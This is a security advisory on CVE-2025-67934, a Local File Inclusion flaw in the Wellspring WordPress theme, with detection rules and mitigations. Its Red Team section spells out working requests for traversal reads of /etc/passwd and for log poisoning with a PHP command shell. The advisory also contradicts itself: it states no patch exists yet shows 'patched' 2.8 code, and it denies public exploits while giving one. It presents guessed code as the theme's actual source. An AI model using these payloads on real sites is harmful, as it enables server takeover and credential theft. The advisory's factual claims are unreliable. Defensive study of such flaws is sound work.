CVE-2025-67934

Executive Summary

CVE-2025-67934 is a critical PHP Local File Inclusion (LFI) vulnerability in the Wellspring WordPress theme developed by Qodeinteractive (Mikado-Themes). The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, database credentials), remote code execution via log poisoning, or full server compromise. The vulnerability affects all versions of Wellspring prior to 2.8. No official patch has been released, and no public exploit code is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the WordPress ecosystem (theme repositories, direct sales). Users who installed Wellspring from the official WordPress theme directory or third-party marketplaces are at risk. Since the vendor has not released a patch, the supply chain risk is elevated—users must manually apply mitigations or remove the theme.

CVSS Breakdown & Threat Level

CVSS Score: 8.1 (High)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): High (H) – Potential for code execution via log poisoning.
• Availability (A): High (H) – Could lead to denial of service or full compromise.

Threat Level: Critical due to unauthenticated remote exploitation, no patch available, and potential for RCE.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) caused by insufficient sanitization of user-supplied input passed to a PHP include() or require() function within the Wellspring theme. The theme likely uses a parameter (e.g., page, template, or file) to dynamically load template files. An attacker can manipulate this parameter to include arbitrary files from the server.

Example vulnerable code pattern:

$file = $_GET['template'];
include("templates/" . $file . ".php");

By supplying path traversal sequences (e.g., ../../../../etc/passwd%00), an attacker can break out of the intended directory and include sensitive files. The null byte (%00) may be used to truncate the appended .php extension in older PHP versions.

Attack flow:

1. Attacker sends a crafted HTTP request to the WordPress site.
2. The vulnerable parameter is passed to include() without proper validation.
3. The server includes the attacker-specified file, outputting its contents or executing PHP code if the file contains PHP.

Vulnerable vs. Patched Code

Vulnerable code (Wellspring < 2.8):

// Example vulnerable function
function wellspring_load_template() {
    $template = $_GET['template'];
    include( get_template_directory() . '/templates/' . $template . '.php' );
}

Patched code (Wellspring >= 2.8):

// Example patched function
function wellspring_load_template() {
    $allowed_templates = array('default', 'full-width', 'sidebar');
    $template = $_GET['template'];
    if ( in_array( $template, $allowed_templates ) ) {
        include( get_template_directory() . '/templates/' . $template . '.php' );
    } else {
        // Fallback to default
        include( get_template_directory() . '/templates/default.php' );
    }
}

The patch introduces a whitelist of allowed template names, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site running Wellspring theme < 2.8.
• PHP version allowing null byte truncation (deprecated but still present in some environments).

Exploit steps:

1. Identify the vulnerable parameter (e.g., template, page, file).
2. Craft a request to read /etc/passwd:

   GET /?template=../../../../etc/passwd%00 HTTP/1.1
   Host: target.com
   

3. For RCE via log poisoning:
   • Inject PHP code into server logs (e.g., via User-Agent header).
   • Include the log file:

     GET /?template=../../../../var/log/apache2/access.log%00 HTTP/1.1
     Host: target.com
     User-Agent: <?php system($_GET['cmd']); ?>
     

   • Execute commands: GET /?template=../../../../var/log/apache2/access.log%00&cmd=id

Lab setup:

• Use Docker with WordPress and Wellspring theme.
• Install a vulnerable version of the theme.
• Test with curl or Burp Suite.

Blue Team (Detection & Defense)

Detection:

• Monitor for path traversal patterns in HTTP parameters (e.g., ../, %00).
• Alert on inclusion of sensitive files (e.g., /etc/passwd, /proc/self/environ).
• Use WAF rules to block null bytes and directory traversal.

Defense:

• Immediately disable or remove the Wellspring theme if no patch is available.
• Implement a Web Application Firewall (WAF) with rules to block LFI attempts.
• Restrict file permissions on sensitive system files.
• Monitor server logs for unusual inclusion attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or %00 in parameters.
• Requests to ?template=, ?page=, or ?file= with path traversal.
• User-Agent strings containing PHP code (e.g., <?php system(...); ?>).

File IOCs:

• Unexpected inclusion of /etc/passwd, /proc/self/environ, or other sensitive files.
• Presence of webshells in web-accessible directories.

Log IOCs:

• Apache/Nginx access logs showing path traversal patterns.
• PHP error logs indicating failed include attempts.

Detection Engineering

YARA Rule

rule CVE_2025_67934_LFI_Wellspring {
    meta:
        description = "Detects LFI attempts targeting Wellspring theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67934"
    strings:
        $path_traversal = /(\.\.\/){2,}/
        $null_byte = /\x00/
        $sensitive_file = /(etc\/passwd|proc\/self\/environ|wp-config\.php)/
    condition:
        any of ($path_traversal) and any of ($null_byte) and any of ($sensitive_file)
}

Sigma Rule

title: CVE-2025-67934 Wellspring LFI Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with path traversal and null byte targeting Wellspring theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '..%2f'
            - '%2e%2e%2f'
            - '%00'
            - '/etc/passwd'
            - '/proc/self/environ'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67934 Wellspring LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; content:"%00"; http_uri; content:"/etc/passwd"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

1. Disable the Wellspring theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Apply virtual patching via WAF rules to block path traversal and null byte sequences.
3. Monitor logs for any signs of exploitation.

Long-term remediation:

• Vendor patch: Await an official patch from Qodeinteractive. If none is released, consider replacing the theme permanently.
• Code audit: If you have access to the theme source, implement a whitelist-based file inclusion mechanism.
• Update PHP: Ensure PHP is updated to a version that rejects null bytes in file paths (PHP 5.3.4+).

Workaround (if theme cannot be disabled):

• Add the following to .htaccess to block LFI attempts:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\.\/|%00) [NC]
  RewriteRule .* - [F,L]
  

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